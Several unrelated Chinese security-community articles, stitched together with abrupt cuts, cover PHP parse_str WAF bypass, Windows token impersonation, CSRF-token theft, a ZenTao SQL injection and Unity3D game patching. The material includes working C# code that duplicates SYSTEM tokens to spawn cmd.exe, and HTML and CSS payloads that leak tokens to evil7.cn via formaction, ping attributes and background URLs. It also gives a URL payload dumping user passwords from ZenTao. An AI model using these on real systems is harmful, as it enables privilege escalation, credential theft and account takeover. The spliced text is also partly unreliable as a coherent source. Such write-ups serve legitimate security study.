这里就再推一篇文：[Bypass file upload filter with
.htaccess](https://thibaudrobin.github.io/articles/bypass-filter-upload/)
# Win下php文件操作的特性
## 通配符
在 [PHPCMSv9逻辑漏洞导致备份文件名可猜测](https://www.secpulse.com/archives/69210.html)
这篇文章中提到了大致，在 `Windows` 下，`php` 操作文件时可以使用 `<<` 通配符。
其实一个 `<` 也可以，但是测试时很奇怪，这里就不演示了。
## 短文件名
在 `Windows` 中还有一种表示短文件名的方法，虽然不够上面的方法灵活，但不算没用。。就是当文件名超过 `6` 位时，可以用 `~1`
表示后面的字符串，比如我们的文件名叫 `abcdefghijk.txt`，短文件名表示成:`abcdef~1.txt`，如果这时候还有个叫
`abcdefhhhh.txt` 的，就可以把 `1` 改成 `2`：`abcdef~2.txt`
# parse_str的一些特性
最近出了一篇文章，[Abusing PHP query string parser to bypass IDS, IPS, and
WAF](https://www.secjuice.com/abusing-php-query-string-parser-bypass-ids-ips-waf/)。
里面提到了 `parse_str` 函数绕过 `WAF`，里面提到的很有趣，总结一下。
举个例子，当使用 `parse_str` 时，如果我们的字符串是 `abc.123=1`，或者 `abc 123=1`再或者
`abc[123=1`，最终都会被解析成 `abc_123`。
所以如果是先检测 `$_GET` 然后再调用 `parse_str`，就会可能带来一些差异，导致绕过。
稍微修改了一下文中的 `Fuzz` 脚本：
<?php
foreach(
[
"{chr}foo_bar",
"foo{chr}bar",
"foo_bar{chr}"
] as $k => $arg) {
for($i=0;$i<=255;$i++) {
$o= Array();
parse_str(str_replace("{chr}",chr($i),$arg)."=bla",$o);
if(isset($o["foo_bar"])) {
echo $arg." -> ".bin2hex(chr($i))." (".chr($i).")\n";
echo "<br/>";
}
}
} | 社区文章 |
# 从pipePotato中学习Windows Access Token令牌模拟
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
[](https://p1.ssl.qhimg.com/t01ae026b6816cabf27.bmp)
上周安全研究员itm4n发布了PrintSpoofer权限提升：<https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/>。经过分析Github上的代码（也可以看这篇360灵腾安全实验室发布的原理分析：<https://www.anquanke.com/post/id/204510>）大致成因是spoolsv.exe进程会注册一个
rpc 服务,任何授权用户可以访问他,同时攻击者可以利用Server
names规范问题注册一个命名管道,而同时System用户访问该管道的时候，我们就可以模拟该token创建一个System权限的进程。下面就简单讲一下Token模拟的原理。
## Windows Access Token 简介
Windows Token其实叫Access Token(访问令牌)，它是一个描 述进程或者线程安全上下文的一个对象。不同的用户登录计算机后，
都会生成一个Access Token，这个Token在用户创建进程或者线程 时会被使用，不断的拷贝，这也就解释了A用户创建一个进程而该
进程没有B用户的权限。
1.Access Token种类
1. 主令牌（Primary令牌）
2. 模拟令牌（Impersonation令牌）
两种token只有在系统重启后才会清除；授权令牌在用户注销后，该令牌会变为模拟令牌依旧有效。
2.Access Token的组成
1. 用户账户的安全标识符(SID)
2. 用户所属的组的SID
3. 用于标识当前登陆会话的登陆SID
4. 用户或用户组所拥有的权限列表
5. 所有者SID
6. 主要组的SID
7. 访问控制列表
8. 访问令牌的来源
9. 令牌是主要令牌还是模拟令牌
10. 限制SID的可选列表
11. 目前的模拟等级
12. 其他统计的数据
可以通过whoami /user命令查看当前的SID
3.Windows Access Token的产生过程
使用凭据(用户密码)进行认证–>登录Session创建–>Windows返回用户sid和用户组sid–>LSA(Local Security
Authority)创建一个Token–>依据该token创建进程、线程(如果CreaetProcess时自己指定了 Token, LSA会用该Token，
否则就继承父进程Token进行运行)
4.编写一个模拟令牌demo
首先了解下令牌的四个模拟级别，分别是：Anonymous，Identification，Impersonation，Delegation
1. Anonymous：服务器无法模拟或识别客户端。
2. Identification：服务器可以获取客户端的身份和特权，但不能模拟客户端。
3. Impersonation：服务器可以在本地系统上模拟客户端的安全上下文。
4. Delegation：服务器可以在远程系统上模拟客户端的安全上下文。
所以当令牌具有Impersonation和Delegation级别的时候才可以进行模拟。
有了令牌了，就需要进一步利用令牌做点事情，下述列出了三个通过用户身份创建进程的函数
函数 | 需要的特权 | 需要输入的值
---|---|---
CreateProcessWithLogon() | null | 域/用户名/密码
CreateProcessWithToken() | SeImpersonatePrivilege | Primary令牌
CreateProcessAsUser() | SeAssignPrimaryTokenPrivilege和SeIncreaseQuotaPrivilege
| Primary令牌
言而总之，只要我们有SeAssignPrimaryToken或者SeImpersonate权限，就可以通过模拟Primary令牌来提升权限
而Primary令牌可以通过DuplicateTokenEx调用一个Impersonation令牌来转换。
所以一个模拟令牌的过程大概是：OpenProcess(获取目标进程上下文)->OpenProcessToken(获得进程访问令牌的句柄)–>DuplicateTokenEx(创建一个主/模拟令牌)–>CreateProcessWithTokenW(创建进程)
接下来便要开始拓展一下“Token Kidnapping”技术了，<https://msrc-blog.microsoft.com/2009/04/14/token-kidnapping/>
在这篇报告中可以看出Token Kidnapping的核心：
所以，我们则需要对每个进程进行爆破，直到找到满足如下条件的进程：
1. 进程运行用户是SYSTEM
2. 令牌级别至少是Impersonation级别
3. 攻击者运行的权限至少拥有SeImpersonatePrivilege
我在后面使用C#编写了一个demo，大概执行过程我会在这里详细的介绍。并在文章末尾附上Github地址。
public static Boolean EnumerateUserProcesses()
{
Boolean rs = false;
Process[] pids = Process.GetProcesses();
Console.WriteLine("[*] Examining {0} processes", pids.Length);
foreach (Process p in pids)
{
if (p.ProcessName.ToUpper().Equals("System".ToUpper())) { //跳过进程名为"System"的进程
continue;
}
IntPtr hProcess = OpenProcess(Flags.PROCESS_QUERY_INFORMATION, true, p.Id);
if (IntPtr.Zero == hProcess)
{
hProcess = OpenProcess(Flags.PROCESS_QUERY_LIMITED_INFORMATION, true, p.Id); //required for protected processes
if (IntPtr.Zero == hProcess)
{
continue;
}
}
IntPtr hToken;
if (!OpenProcessToken(hProcess, Flags.MAXIMUM_ALLOWED, out hToken))
{
continue;
}
CloseHandle(hProcess);
UInt32 dwLength = 0;
TOKEN_STATISTICS tokenStatistics = new TOKEN_STATISTICS();
if (!GetTokenInformation(hToken, TOKEN_INFORMATION_CLASS.TokenStatistics, ref tokenStatistics, dwLength, out dwLength))
{
if (!GetTokenInformation(hToken, TOKEN_INFORMATION_CLASS.TokenStatistics, ref tokenStatistics, dwLength, out dwLength))
{
continue;
}
}
String userName = String.Empty;
if (!GetTokenInformationToUsername(tokenStatistics, ref userName))
{
continue;
}
rs = token_elevation(hToken);
if (rs)
{
Console.WriteLine("模拟成功！PID:" + p.Id);
break;
}
}
return rs;
}
该EnumerateUserProcesses函数中依次获取当前系统的进程PID，并获取对应的Token句柄传入token_elevation利用函数中。
同时在进程的两处OpenProcess函数，是为了绕过操作系统的Protect Process机制(像csrss、smss进程)
但是在传入token_elevation之前，利用两次GetTokenInformation(WIndows系统API)和GetTokenInformationToUsername来进行判断。
GetTokenInformation函数检索指定令牌的相关信息，关于这里为什么要调用两次，是因为第一次调用是为了获取令牌信息需要的缓冲区的大小,这是在使用Win32
API中的一个常用做法, 很多Win32 API都可以这样使用, 目的是不用让程序员总是创建一个假设一定足够的缓冲区, 这在很多时候会造成空间上的浪费
而下一个判断函数GetTokenInformationToUsername，则是利用LookupAccountSid来判断SID的用户是不是SYSTEM
LookupAccountSid(String.Empty, securityLogonSessionData.Sid, lpName, ref cchName, lpReferencedDomainName, ref cchReferencedDomainName, out sidNameUse);
userName = lpName.ToString();
if (!userName.ToUpper().Equals("System".ToUpper())) {
return false;
}
接下来就是重头戏token_elevation函数
public static Boolean token_elevation(IntPtr hExistingToken) {
IntPtr phNewToken;
STARTUPINFO StartupInfo = new STARTUPINFO();
PROCESS_INFORMATION procinfo = new PROCESS_INFORMATION();
StartupInfo.cb = (UInt32)Marshal.SizeOf(StartupInfo);
SECURITY_ATTRIBUTES securityAttributes = new SECURITY_ATTRIBUTES();
if (!DuplicateTokenEx(
hExistingToken,
Flags.TOKEN_ALL_ACCESS,
ref securityAttributes,
SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation,
TOKEN_TYPE.TokenPrimary,
out phNewToken
))
{
return false;
}
Console.WriteLine("[+] Duplicate The Token!");
//提升自身进程权限
//if (!ImpersonateLoggedOnUser(phNewToken))
//{
// return false;
//}
//Console.WriteLine("[+] Operating as {0}", System.Security.Principal.WindowsIdentity.GetCurrent().Name);
if (CreateProcessWithTokenW(phNewToken, CREATE_FLAGS.LOGON_WITH_PROFILE, "C:\\Windows\\System32\\cmd.exe", null, CREATION_FLAGS.CREATE_NEW_CONSOLE, IntPtr.Zero, IntPtr.Zero, ref StartupInfo, out procinfo))
{
Console.WriteLine("[+] SUCCESS");
return true;
}
return false;
}
函数中调用了DuplicateTokenEx转换成TOKEN_TYPE.TokenPrimary，也是Primary令牌。
并调用了CreateProcessWithTokenW创建了一个新的cmd进程
运行效果如下：
但是新建一个进程在虚拟终端中提权有些不便，后面看到冷逸师傅的Github上(<https://github.com/lengjibo/RedTeamTools/blob/master/windows/getsystem/GetSystem.exe>)的解决方案是通过命令管道来重定向新进程的输出
分析定位到代码
程序是由<https://github.com/yusufqk/SystemToken>改动之后，调用CreatePipe函数创建命名管道，并将重定向句柄传入StartupInfo结构体中
偷个懒，我就也利用源码自己照着IDA上的伪代码自己写了个demo
运行后如下：
我将C#代码和C++代码都放到我的GIthub上开源了：<https://github.com/sf197/TokenPrivilege_Demo>
## Reference：
1. <https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/>
2. <https://github.com/itm4n/PrintSpoofer/blob/master/PrintSpoofer/PrintSpoofer.cpp>
3. [https://github.com/0xbadjuju/Tokenvator/](https://github.com/0xbadjuju/Tokenvator/blob/9f6ccaa70fff337e601457c21738ee851eab1a63/Tokenvator/RestrictedToken.cs)
4. <https://github.com/NetSPI/MonkeyWorks> | 社区文章 |
## 前言
如果说一个产品RCE漏洞相对描述是“一语中的”、“一发入魂”的杀气，想必各大厂商在对杀气感知和处理上总是最快最灵敏的，从各大专有SRC对报告的反映速度、修复速度、挖掘难易程度来说，也很好的佐证了这一点。log里保存着任何服务器接收到的数据原文随时溯源当场处理爱憎分明、系统环境在被攻击时的奇怪变化一看便知，一个好的RCE确实是无敌的，至少在被受攻击者审计出来前，高效便捷准确有效。但它一旦被使用，变会在厂商眼皮下留下“挨打痕迹”。
另一对立面的“面向用户攻击”就没RCE那么方便了，比如一个简单的xss或者csrf的利用，虽然可以在不侵入和损坏框架主体的情况下触发，但需要用户少许的参与，增加了攻击的难度和不确定性。but!!话说回来这种不确定性和非侵入性的攻击方式，也正是它的优势所在：在用户主动反馈或者直接以运营方为攻击目标以外，即使发动攻击也极难被察觉或发现痕迹。（这就跟出老千与截胡的区别一样，出千时需要破坏牌的动作或在牌桌上做手脚留下痕迹，而截胡只需要在正常流程前完成攻击即可）
>
> 教挖洞、教blablabla那些真没用，挖bounty真的很靠个人对业务理解和最终实现手法的，所以请注意，本文主要解释遇到利用链瓶颈时，如何合理结合新特性、框架特征、原有逻辑等帮助你提升和完成整个利用，而不会对你怎么快速挖到xss怎么速挖SRC项目有任何帮助，总而言之很明确说就是对新手不友好，很多前期知识得自己去搜。对，我就是懒得写咋的吧。
## 常规csrf-token位置与获取方法
1. cookie中
2. form表单
3. URL参数
首当其冲当然是cookie中的token，看似无解但实际有xss的环境便可，目前并没看到把token做http-only的。如果从cookie中提取再动态构造表单那没法获取了，单是验证cookie内容的话，怎么可能嘛csrf-token毕竟就是防csrf发生的。如果拥有xss肯定容易拿到cookie里的token，当然在其他能发出流量并得到返回值的情况中通过fetch重新获取一个也可以，普通原理这里不做过多说明了。
### form表单中的token
如果碰到token处于input中请莫慌，使用xss自然是很容易拿到标签中的value属性，但是如果一个页面能够注入DOM但无法找到有效的dom-xss-payload时，你就需要一个骚气的泄露token姿势了。
我们来看一个例子：
<form id="user-edit" method="POST" action="/user/edit">
<input name="token" type="hidden" value="csrf-xxxx1234">
<input name="notes" type="text" value="">
<input name="secert" type="radio">secert
<input name="public" type="radio">public
<input type="submit" value="save">
</form>
<div>user's note blablabla...</div>
假设你在这个页面找到个DOM类型的self-xss，不过有这样的限制区别：
* 如果用户提交secert类别的内容，那页面将保留所有原始DOM，但限制仅能自己查看和触发，其他人看不到这条note的内容。
* 但如果你发布的public文本内容，文本则可以公开给所有人浏览，不过危险的event和用于危险的标签DOM全被waf过滤了。
这时候，如果直接提交个self-xss报告确实略显单薄，官方给个忽略也不过分嘛，毕竟无法造成实质性的对 **其他用户/指定用户**
造成攻击影响（叽己打叽己可木有用啊熊迪）。
那如何将self升级成任意可以触发的xss就是关键拿分点，哪怕也忽略至少你可以让审核都觉得这思路骚暴，武力值+10。
我们来看看html5特性里给表单带来的新玩意儿：
这个时候思路变逐渐明了，只要尝试劫持表单让用户主动创建一个secert类型的note，就能让self-xss变成thatUser-self-xss了，虽不是任意触发，但我用self-xss一次打一个用户，也算定向攻击嘛。
首先测试一下，构造一个public的payload且只需一行，完成劫持user-edit的表单：
<input type="submit" form="user-edit" value="hijack">
发布后发现，虽然是用户编辑出来的一个input标签，但在其他用户点击的情况下，成功触发了他所在页面的正常表单。要是这个表单是user-delete，那可真就是。。号没了警告.jpg。完成从其他按钮触发页面本来的表单后，我们使用其他`form*`属性来劫持修改表单值：
<input type="text" form="user-edit" name="notes" value="[xss-payload-here]">
<input type="text" form="user-edit" name="secert" value="on">
<input type="submit" form="user-edit" value="hijack">
可见，在用户点击后，我们成功把以上的可控表单内容注入到了本来页面中id为user-edit的表单里，完成劫持主动触发。而GET也好POST也罢，我们都知道只取最后一个同名的传入值，可以测试`echo
$_GET["a"]`然后访问`/?a=1&a=2&a=3`，最终我们只能取到最后一个传入`a=3`，所以不用管表单里原来的内容，通过input属性劫持form我们就能成功直接覆盖原来的值。所以如果还在考虑类型默认是点击在`public`上这种情况？顺理成章我们加一个`<input
type="text" form="user-edit" name="public" value="off">`把`public`覆盖成`off`即可 :P
再其次，有没有其他触发方式？当然有鸭~我们可以改变`action`直接把所有input的value都带出到外部服务器。
1. 我们可以先只尝试拿到token，在进行其他操作：
<input type="submit" form="user-edit" formaction="https://evil7.cn" formmethod="GET" value="hijack">
1. 页面还存在iframe，且iframe的URL里同时拼接了token为query参数，我们也能这样通过iframe内部框架的跳转带来的referrer属性获取token：
比如：
<iframe name="title_frame" src="/index?token=xxxx1234"></iframe>
<form id="user-edit" method="POST" action="/user/edit">
<input name="token" type="hidden" value="csrf-xxxx1234">
<input name="notes" type="text" value="">
<input name="secert" type="radio">secert
<input name="public" type="radio">public
<input type="submit" value="save">
</form>
<input type="submit" formtarget="title_frame" formaction="https://evil7.cn" formmethod="GET" value="hijack">
虽然a标签的行为可能被代理跳转或安全处理了no-referrer属性，但通过找到一个没有sandbox和其他安全限制的iframe来劫持为form的`target`，就成功绕过了URL带出token的referrer限制。
### URL参数中的token
1. 通过A标签获取
<a href="https://evil7.cn">get_token</a>
通过a标签跳转，我们能轻易从referrer中得到URL里拼接的token，但就目前看来稍有安全意识的开发，绝对会带上no-referrer属性，或者通过safe_jump_url的某些检查方式通过一个没有token的301页面或短链接转化，来脱敏并代为跳转。
那解决方案除了如上所述，通过input劫持我们能在iframe中跳转内部页面巧妙的拿到referrer中的URL，其实还有一个html5的新属性和特殊处理可以利用——ping属性！
好像没找到中文w3c属性介绍，可以看一下freebuf的文章<https://www.freebuf.com/articles/network/74173.html>
<a href="https://xz.aliyun.com/" ping="https://evil7.cn">ping_leak</a>
通过如上payload，我们能完成用户的行为跟踪。本来吧，这个ping属性就是用来统计点击或者跟踪行为的，但是实际你也可以用来盗取token。我们看看另外一个前端魔法：url-hash
hash在URL中起到的作用是锚点，它会在用户点击后 **滚动页面导航到所在的位置，而不是跳转刷新当前页面**
，因为hash锚点标签，其实只是用户浏览器的行为，并没有影响整个页面也没有新请求流量产生。
但是！ping属性又是怎么工作的呢？
ping属性在用户点击链接时，统计用户点击的内容发送到指定服务器，所以不管是否刷新跳转页面是否点击的是个锚点链接， **只要有点击发生** 其实ping都是
**正常发出ping请求的** ，所以即使href中是个锚点不是链接，我们的server也能统计到用户点了什么（ping-from/ping-to）。同样，哪怕csp和waf做了一定的安全处理，让我们没法跨域情况实现获取到其他站点的`ping-from：
https://domain.com/token=csrfxxxx1234`，我们也可以通过hash锚点，让链接指向实际为`https://domain.com/token=csrfxxxx1234#hash`的链接，hash不会破坏浏览器地址栏现有的链接，但我们完全可以在server上看到一条ping流量带出了ping-to属性，从而完成 **不破坏现有URL情况下，通过ping-to带出URL的内容**
比如这样：
<a href="#ping-leak" ping="https://evil7.cn">ping_leak</a>
哪怕跨域情况ping-from丢失，我们也可通过带出有ping-to的访问请求得到token。所以即便进行了no-referrer处理，我们还是可以利用a标签的ping属性带出token的。
### 偏方：CSS选择器侧信道方式获取
如果有`<input name="token" value="csrf-xxxx1234">`这样的一个DOM，我们无法注入其他上述方式的DOM，或者干脆控制不了DOM，唯独例外却有一个style自定义功能，或者说CSS可控？那我们能做什么呢？
<style>
input[name="token"][value^="c"] {
background: url("https://evil7.cn/css-leak?token_1=c")
}
</style>
<input name="token" value="csrf-xxxx1234">
如上我们可以用xss选择器，选中name为token的并且value第一个字符为"c"的input元素，并将其background属性设置为一个外带流量，这样就能泄露出token的首个字符。
一个个字符泄露，每一个都得多一次payload的修改，实施比较麻烦，但这样的选择器还有很多，还有很多可以利用的。我们来一起康康：
通过文档了解，我们可以通过`^=`选择开头也可以通过`$=`选择结尾，但css中一个同类属性会被同样的属性覆盖，那么我们有没有办法加快css选择器的侧信道露点速度呢？
类似`:root`的伪类可以极大程度帮到我们，我们没法一次给`input[name="token"][value^="c"]`和`input[name="token"][value$="4"]`同时绑定两个不同的`background`属性，这是显而易见的（最新值覆盖原因），但是我们可以试着添加`:root`伪类属性，在符合条件情况下，给他的根元素设置`background`。这下，前后开工，效率成功提高一倍岂不美哉！？
如果以上测试均成立了，并且发现目标可以添加`<link>`标签（或者有办法主动刷新页面）那就更方便了，免去多次发送payload每个字符单独爆破，直接自动刷新依次leak即可得出出整个token。
### 点到为止顺便发散一下思维
要是某天css里支持完全的直接正则呢？呵呵呵，那可不得了！你是不是说像这样
（实际上真就有这么骚，只是还得等。关键词 `css4 @document regexp()` 链接
<https://developer.mozilla.org/zh-CN/docs/Web/CSS/@document> ）
当css4发布的那天，开发运维将会想起被css选择器中正则魔法支配的恐惧：
demo:
# 泄露出token第1个字符
@document regexp("/token=a.*/") {
div:nth-child(1) { background: url("https://evil7.cn/?token_1=a")}
}
@document regexp("/token=b.*/") {
div:nth-child(1) { background: url("https://evil7.cn/?token_1=b")}
}
......
@document regexp("/token=z.*/") {
div:nth-child(1) { background: url("https://evil7.cn/?token_1=z")}
}
......
# 泄露出token第2个字符
@document regexp("/token=.{2}a.*/") {
div:nth-child(1) { background: url("https://evil7.cn/?token_2=a")}
}
@document regexp("/token=.{2}b.*/") {
div:nth-child(1) { background: url("https://evil7.cn/?token_2=b")}
}
......
@document regexp("/token=.{2}z.*/") {
div:nth-child(1) { background: url("https://evil7.cn/?token_2=z")}
}
......
# 泄露出token第3个字符
@document regexp("/token=.{3}a.*/") {
div:nth-child(3) { background: url("https://evil7.cn/?token_3=a")}
}
......
于是乎，等css4来临之时，我们将可以直接通过css选择器中复杂正则操作，快速依次泄露整个token或者URL中其他关键信息 :P
以上总结分享全来自实战报告，仅供巩固复习或拓展思路，具体细节相关队员知者自知，只求师傅们互相交流，其他方向薄弱环节顺道带带我，反正就hin棒棒了嘛~
## 后记
前端攻击的分类和评分一直为各位白帽子所诟病，selfxss就忽略？csrf就低危？不不不，单从漏洞评级上看确实如此，但从真实攻击的实施目的上看，他们能达到的效果其实是一样的，所以大家也要给SRC一些时间，等待评级细化区分成本评级、效果评级的多维度综合评级标准。目前看来，BAT的专属SRC已经进入按影响评级的思想高度，在任何手段下只要造成用户敏感信息泄露那就是敏感信息泄露、任何手段造成损坏用户权益的恶意操作都能有效评高分。
所以各位白帽子也要结合项目内容、所出现漏洞的性质和实际影响来决定自评。好的报告 = 一个可靠的手法 + 一个清晰的攻击思路 + 一个模拟攻击场景 +
一份足量的危害证明
拿分和申诉翻盘的根本告诉你了，以后看到小问题小bug先记下来，说不定哪天就来个《UI大小不一到0dayRCE内网漫游》。
不管有没有进展，不管局势多么挠头，答应我，1v9也要坚持打下去！ | 社区文章 |
PAYLAOD:
http://127.0.0.1/zentao116/api-getModel-api-sql-sql=select+account,password+from+zt_user
(需要用户权限)
第一眼看到这种传参方式，我心里是懵逼的，利用到的文件都看不出来，所以先研究一下他的URL是怎么写的。
PS:使用禅道前要将本地的apache服务和mysql服务关闭，否则会发生冲突
PS:由于环境限制，没办法搭建调试环境，所以文章中若是有错误内容还请师傅们务必斧正!!!∑(ﾟДﾟノ)ノ
## URL地址格式分析
以URL：`http://192.168.189.128/zentao/api-getModel-user-getRealNameAndEmails-users=admin`为例来说明参数传递过程
不管三七二十一，先上首页：`/www/index.php`
可以看到这里利用`router::createApp`创建了一个新的应用，跟进该方法
应用名为：`pms`，根路径为index.php路径的上级路径，应用类名为router。
这里最后返回了一个实例化的类，将app名字与根路径作为参数传入。由于这里创建了一个新对象，先去router类中看一下是否有`__construct()`函数，没有找到就去他的父类baseRouter里找，果然在baseRouter中发现了`__construct()函数`
这里重要的是config文件，在358行调用到setConfigRoot设置了config文件的根目录：`xxx/config/`
接下来在363行调用到loadMainConfig来调用主配置文件
这里最后将主配置文件即/config/config.php做了include操作，跟进config.php文件
直接来看这一段
这段代码通过注释告诉我们，禅道的请求类型分为了三种：`PATH_INFO、PATH_INFO2、GET`。
接下来回到index.php中，跳过运行app的过程，到达66行：`$app->parseRequest();`
跟进该函数：`framework\base\router.class.php`
可以发现，这里将`PATH_INFO`和`PATH_INFO2`模式归为一类，以`-`方式传参，由于poc中出现了这种url传递的方式，所以继续跟进`parsePathInfo`看一下。
`parsePathInfo()`函数将URL以`.`为分隔，前面的部分作为URI，`.`后面的部分作为viewType。
回到`parseRequets()`函数中，继续跟进`setRouteByPathInfo()`函数
这里首先利用了`$this->config->requestFix`分隔URI并整理为一个数组`$item`，这里的`$this->config->requestFix`即`-`，接下来将数组中各个元素进行分配，`$items[0]`为模块名，`$item[1]`为方法名，在函数末尾设置控制器文件，函数结束。
接下来回到`index.php`中，流程到`$common->checkPriv();`，检测用户是否有权限访问应用。
再到`$app->loadModule();`，加载模块，重要部分截图
这里会根据请求方式设置参数，由于是`PATH_INFO`方法，继续跟进函数看看
这里用到该函数来取删掉前两个后的剩下的参数，赋值给params数组中。
再调用mergeParams函数将参数取出来合并并做调用
最后返回了`$defaultParams`数组。
回到`loadModule()`函数中，可以看到，函数的结尾调用了`call_user_func_array()`函数，而且这里的函数也是我没见过的写法
/* 调用该方法 Call the method. */
call_user_func_array(array($module, $methodName), $this->params);
return $module;
搜索了一下这种写法，发现然之协同oa也有相同的代码，这种写法相当于`$module::$methodName($this->params)`，`$methodName`必须是public类型才可以。
其实这里就是调用到了`user`模块的`getRealNameAndEmails`方法，传递的参数`$params`即`users=admin`
跟进发现该方法就是查询用户账户的信息并返回，这样就差不多就搞明白禅道的传参方式了。
## 漏洞分析
POC
http://127.0.0.1/zentao116/api-getModel-api-sql-sql=select+account,password+from+zt_user
根据前面的分析，先访问api模块的getModel方法
在函数50行的位置：
$result = call_user_func_array(array(&$module, $methodName), $params);
这样接下来就调用到api模块中的sql方法，跳转到该方法看一下
终于找到了执行SQL语句的位置，函数首先用`trim`去除首位的空白字符，在99行处先将SQL语句显示在页面上，然后若是未查找到`'select
'`这样的字符串就直接查询SQL语句，看到这种代码，我瞬间感觉很是凌乱。
## 小结
从这里可以得出一个教训，任何有关数据库的操作都必须经过很好的过滤，不能抱有任何侥幸心理，问题代码藏得再深都会被发现。
## 参考
[[渗透笔记]禅道](https://www.jianshu.com/p/62bb128ecbdb)（payload）
[禅道11.6后台SQL注入漏洞复现分析](https://mp.weixin.qq.com/s/DoWly68w8ZtqKE4W1zmcdw)（URL格式分析） | 社区文章 |
**作者：dawu@知道创宇404实验室**
**时间：2019/02/25**
**英文版本：<https://paper.seebug.org/943/>**
### 0x00 前言
这是一篇游戏引发的简单技术文。
起因是个人很喜欢玩 `google play`
上的一些数字类型（角色攻击是线性增长，怪物指数变强，到后期越打不过，通过重生增强属性变强）的小游戏。但是这种游戏仍旧存在一定缺陷，前期资源不多，玩的太慢、玩的时间长了，就感觉没意思，就不想玩了，所以在玩到游戏中期的时候，往往都会去网上搜索XXX破解版/内购版，快速进入后期然后放弃这款游戏。
这样的做法其实是很不安全的，因为无法判断XXX破解版/内购版在破解/内购之后还做了什么。所以我最后的解决办法是，逆向这些apk，修改游戏逻辑。让我在玩的时候，可以快速度过缓慢的前期。
逆向了几个玩过的游戏，发现这类游戏使用Unity3D开发的居多。因此本文将介绍简单Unity3D类安卓游戏的逆向修改思路。
### 0x01 准备工具
逆向最简单的Unity3D类安卓游戏建议使用安装好 JAVA 环境的Windows系统（涉及到dll文件的修改，所以Windows平台更加适合）。
#### 1.1 安卓 APK 逆向三件套
一般 APK 逆向，常使用到 `apktool`、`dex2jar`、`jd-gui`。在逆向 Unity3D 安卓游戏时，仅仅只需要使用到
`apktool`
* [Apktool](https://ibotpeaches.github.io/Apktool/): 用于解压/重新打包安卓APK。
* [dex2jar](https://github.com/pxb1988/dex2jar): 将解压出来的dex文件变成jar，方便使用jd-gui查看
* [jd-gui](libcocos2dlua.so): 查看dex文件逻辑
#### 1.2 dll文件逆向三件套
因为一般的 Unity3D 安卓游戏的主逻辑都在 `asserts/bin/data/Managed/Assembly-CSarp.dll`
中，所以我们还需要 `dll文件逆向/重新打包` 的工具。
* [ILSpy](https://github.com/icsharpcode/ILSpy): 用于查看dll程序逻辑
* ILDASM： 用于反编译dll文件，生成il文件(存放了dll反编译后的指令)和res文件(反编译后的资源文件)，可以安装Windows SDK或者从网上下载。
* ilasm: .net4.0自带了，位置在 `C:\Windows\Microsofr.NET\Framework\v4.0.30319\ilasm.exe`
#### 1.3 生成重新打包的自签名证书
修改完 apk 之后，需要对 apk 进行签名。该命令用于生成签名的证书。
keytool -genkey -v -keystore my-release-key.keystore -alias alias_name -keyalg RSA -keysize 2048 0validity 10000
# 记住设置的密码，最后自签名应用的时候需要输入密码
### 0x02 开发一个简单的 Unity3D 游戏
用Unity3D开发了一个简单小游戏作为本文的样例，逻辑十分简单：
1. 英雄每过一关战斗力都会增加100.
2. 怪物的战斗力为 Math.pow(2,当前关数)
3. 当英雄战斗力小于怪物的战斗力时，英雄无法闯关。英雄可以考虑修炼或者重生提高战斗力。
4. 英雄每次修炼战斗力都会增加1000.
5. 英雄选择重生后，关卡数清零，需要重新闯关，但英雄初始战斗力会增加 2000 * 重生前闯关数。
具体代码可以参考 [Github](https://github.com/d4wu/unity3d-android-reverse-demo)
### 0x03 游戏逆向步骤
1.使用 `apktool` 解压游戏安装包
java -jar apktool.jar d game.apk
2.提取出 `game/assets/bin/data/Managed/Assembly-CSarp.dll` ，使用 `ILSpy` 打开即可看到 dll
里面的逻辑。
注： Unity3D开发的安卓游戏，其核心代码都在这个 dll 文件中，所以逆向/修改这个 dll 文件就可以了。这也是 Unity3D 和
其它安卓逆向不同的地方。
在没有混淆的情况下，反编译出的函数内容和原内容十分相似：
ILSpy 反编译的 Click1 内容
Click1 的原始代码
3.找到关键函数、关键逻辑后，就可以尝试反编译 `dll` 文件并修改。使用 `ILDASM` 将 `dll` 文件反编译成 `il` 文件。使用
`ILDASM` 打开 `dll` 文件后， `File -> dump` 就可以导出反编译结果了。
4.根据步骤2，就很容易理解逻辑了，然后根据速查表，就可以知道在步骤3导出的`il`文件中修改哪里了。例如步骤2中 `Click1` 就是游戏中
`点击闯关` 按钮绑定的逻辑。闯关的关键判断就在: `info.hero_power + info.temp_power + info.add_power
>= info.monster_power`。所以打开步骤3中生成的 `.il` 文件，结合 [.NET IL
指令速查表](https://www.cnblogs.com/yuwentao/p/5923978.html)修改这部分对应的关键逻辑即可。
修改为 `info.hero_power + info.temp_power + info.add_power != info.monster_power`
就可以通过此处的逻辑判断。
5.修改关键逻辑后，通过重新编译 `dll` 文件、`apk` 文件、签名修改后的 `apk` 就可以在手机上安装运行了。
重新编译dll文件命令如下：
C:\Windows\Microsoft.NET\Framework\v4.0.30319\ilasm.exe game.il /output=Assembly-CSarp.dll /dll
将重新编译的dll放回 `game/assets/bin/data/Managed/` 目录下，使用apktool重新打包apk：
java -jar apktool.jar b game
cp game/dist/game.apk ./
自签名应用：
jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore my-release-key.keystore game.apk alias_name
6.修改成功，开局修炼一次后，就可以无限闯关。顺利到达第30关。
### 0x04 杂谈和总结
1. Unity3D有一个较为明显的特征： 开局会显示游戏LOGO。这个可以作为判断一个游戏是不是Unity3D开发的小参考。
2. 文中的demo到了31关，就会发生整型溢出，怪物战斗力变为负数。原因是怪物战斗力的值为int型。在以前玩过的某个后期极度不平衡的游戏中，我的确遇到过整型溢出的问题。造成花钱升级还能增余额的情况。
3. 在修改游戏之前把游戏语言调整为英文有助于在逆向的时候理解各个函数的意义（对于没有混淆的应用）。
4. 游戏修改之后，很容易丧失原本的乐趣，变成纯粹的数字游戏。谨慎修改!
### 0x05 参考链接
1. [Apktool](https://ibotpeaches.github.io/Apktool/)
2. [ILSpy](https://github.com/icsharpcode/ILSpy)
3. [.NET IL 指令速查表](https://www.cnblogs.com/yuwentao/p/5923978.html)
4. [Unity3d类安卓游戏逆向分析初探](https://paper.seebug.org/519/)
* * * | 社区文章 |
# 作者个人b站：<https://space.bilibili.com/4404257>
由于我的挖洞团队『大哥们别挖了孩子要哭惹』，经过上一篇hook前端的文章的影响后，发现其实——只要hook前端的危险生成函数，然后一般而言，危险函数会和过滤函数存在同一个或者相近的作用域下，简单来说：
let filter_data = filter(raw_data)
